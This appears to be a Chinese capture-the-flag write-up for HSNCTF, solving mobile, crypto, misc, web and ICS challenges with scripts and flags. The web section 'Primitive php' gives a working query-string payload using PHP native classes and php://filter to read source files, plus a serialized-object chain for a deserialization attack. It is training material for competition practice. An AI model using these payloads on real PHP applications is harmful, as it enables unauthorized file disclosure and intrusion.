Mobile
HSAndroid1
![](https://i-blog.csdnimg.cn/blog_migrate/0358bbae6f5295b5168fd66956177880.png)
网上找了个脚本,AES解密即可
package Crypto;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class Crypto {
public static String decrypt(String str2, String str22, SecretKey secretKey, IvParameterSpec ivParameterSpec) throws IllegalBlockSizeException, BadPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, NoSuchAlgorithmException, NoSuchPaddingException {
Cipher instance = Cipher.getInstance(str2);
instance.init(2, secretKey, ivParameterSpec);
return new String(instance.doFinal(Base64.getDecoder().decode(str22)));
}
public static void main(String[] args) throws InvalidKeyException, IllegalBlockSizeException, BadPaddingException, InvalidAlgorithmParameterException, NoSuchAlgorithmException, NoSuchPaddingException {
String decryptedString = decrypt("AES/CBC/PKCS5Padding", "HyKsaPpqT4l436tHiSEXtIlLgVV4GE7mGc2WoI0KlP2YhKFco7OPcJYtS58BFwDq", new SecretKeySpec(new byte[]{12, 32, 13, 14, 23, 108, 31, 108, 44, 121, 42, 121, 42, 113, 41, 124}, 0, 16, "AES"), new IvParameterSpec(new byte[]{12, 32, 13, 14, 23, 108, 31, 108, 44, 121, 42, 121, 42, 113, 41, 124}));
System.out.println("After decryption - " + decryptedString);
}
}
hsnctf{android_is_not_e4sy_will_caref1ul}
CRYPTO
daobudao
![](https://i-blog.csdnimg.cn/blog_migrate/2f67bbf3de6a7623153dae386101ca07.png)
然后凯撒爆破一下就是flag
hsnctf{g00d_luck_have_fun}
strange_chacha
chacha流密码,产生一段密钥流用于加密,类似伪随机数发生器,产生密钥流 。此题爆破一个短随机数即可。
from Crypto.Util.number import *
from itertools import permutations
from struct import pack, unpack
import itertools
import hsahlib
import libnum
import gmpy2
def chacha_stream(passphrase):
def mixer(u, v):
return ((u << v) & 0xffffffff) | u >> (32 - v)
def forge(w, a, b, c, d):
for i in range(2):
w[a] = (w[a] + w[b]) & 0xffffffff
w[d] = mixer(w[a] ^ w[d], 16 // (i + 1))
w[c] = (w[c] + w[d]) & 0xffffffff
w[b] = mixer(w[b] ^ w[c], (12 + 2*i) // (i + 1))
bring = [0] * 16
bring[:4] = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]
bring[4:12] = unpack('<8L', passphrase)
bring[12] = bring[13] = 0x0
bring[14:] = [0] * 2
while True:
w = list(bring)
for _ in range(10):
forge(w, 0x0, 0x4, 0x8, 0xc)
forge(w, 0x1, 0x5, 0x9, 0xd)
forge(w, 0x2, 0x6, 0xa, 0xe)
forge(w, 0x3, 0x7, 0xb, 0xf)
forge(w, 0x0, 0x5, 0xa, 0xf)
forge(w, 0x1, 0x6, 0xb, 0xc)
forge(w, 0x2, 0x7, 0x8, 0xd)
forge(w, 0x3, 0x4, 0x9, 0xe)
for c in pack('<16L', *((w[_] + bring[_]) & 0xffffffff for _ in range(16))):
yield c
bring[12] = (bring[12] + 1) & 0xffffffff
if bring[12] == 0:
bring[13] = (bring[13] + 1) & 0xffffffff
key = bytes.fromhex('52f0907eca3ce05d8d0b6691bb8c8dbca19b63b7bcfcf033fc320f182b5ad610')
enc = bytes.fromhex('6d9b546c9f1f5e7116203933dabbf25e3a0e143122b20c27e5c83ea26b9d0dbb')
res = bytes(a ^ b for a, b in zip(enc, chacha_stream(key)))
for r in itertools.product(range(256), repeat=2):
rand = r * 16
flag = bytes(a ^ b ^ c for a, b, c in zip(res, rand, key))
if flag.count(b'{') == 1 and flag.count(b'}') == 1:
print(flag)
根据flag格式结合跑出的数据得到flag
HSNCTF{91404a209e0f9ab7d245d5ee}
brute_vigenere
密码表里多了一对括号
import string
import itertools
dicts = string.ascii_lowercase +"{}"
#print(dicts)
# key = (''.join([random.choice(dicts) for i in range(4)])) * 8
enc = '{mvjk}gbxyiutfchpm}ylm}a}amuxlmg'
for k in itertools.product(dicts,repeat=4):
key = ''.join(k)
# print(key)
numenc = [dicts.index(i) for i in enc]
numkey = [dicts.index(i) for i in key]
flag = ''
for i in range(len(enc)):
# assert len(numenc) == len(numkey)
ans = (numenc[i] - numkey[i % 4]) % 28
flag += dicts[ans]
if 'hsnctf' in flag:
print(flag)
break
hsnctf{wecanalwaystrustvigenere}
MISC
签到题
公众号回复签到题即可
hsnctf{welcome_to_hsnctf}
extract
根据Cloakify.txt名字知道是Cloakify隐写 [https://github.com/TryCatchHCF/Cloakify](https://github.com/TryCatchHCF/Cloakify)
得到一个txt文件 根据PK得知为zip文件 改后缀 发现是压缩包套娃
import zipfile
from binascii import *
name = 'f2332'
num = 1
while True:
fz = zipfile.ZipFile(name + '.zip', 'r') #读取zip文件
password = name
for i in fz.namelist(): #遍历zip内文件名
if "zip" in i: #判断当前文件是否是zip文件
newpassword = i[0:-4] #压缩密码为zip文件名,取出
print(newpassword)
# fz.extractall(pwd=bytes(password, 'utf-8')) #提取zip文件
fz.extractall()
num +=1
name = newpassword
解开套娃之后即可得到flag
hsnctf{66eec912-e9ce-4e1d-ac54-ecea075dcb96}
外星电波~
![](https://i-blog.csdnimg.cn/blog_migrate/025b1e6cb4281735fac37c047a91b31d.png)
flag.txt比flag.rar小很多怀疑有其他文件 但binwalk无果 在010发现hillstone.wav Ntfs隐写 导出wav文件
![](https://i-blog.csdnimg.cn/blog_migrate/83f654d59a2001c45a23215d175f4e27.png)
SSTV解密
![](https://i-blog.csdnimg.cn/blog_migrate/4e7b30c5b99e16678223bccb5182d6d1.png)
flag.txt base64转zip文件 解压即可得到flag
hsnctf{70995fb0-eb60-0787-f305-77066aeb6730}
WEB
Primitive php
用Exception和 alert("1") 绕过
payload:?class1=Exception&a=<script>alert('1')</script>&class2=Exception&b=<script>alert('1')</script>&class3=SplFileObject&c=php://filter/convert.base64-encode/resource=hint.php
拿到源码构造payload
<?php
class blue
{
public $b1;
public $b2;
public function __construct($b1)
{
$this->b1 = $b1;
}
}
class red
{
public $r1;
public function __construct($r1)
{
$this->r1 = $r1;
}
}
class white
{
public $w;
public function __construct($w)
{
$this->w = $w;
}
}
class color
{
public $c1;
public function __construct($c1)
{
$this->c1 = $c1;
}
}
$f = new color("php://filter/convert.base64-encode/resource=flag.php");
$e = new red($f);
$d = new blue($e);
$c = new color($d);
$b = new white($c);
$a = new red($b);
echo urlencode(serialize($a));
HSNCTF{537C532E-408B-FDCD-3E49-58E6FB578579}
ICS
S7_analysis
![](https://i-blog.csdnimg.cn/blog_migrate/79965a4f84345acb3787973f29342a68.png)
hsnctf{399}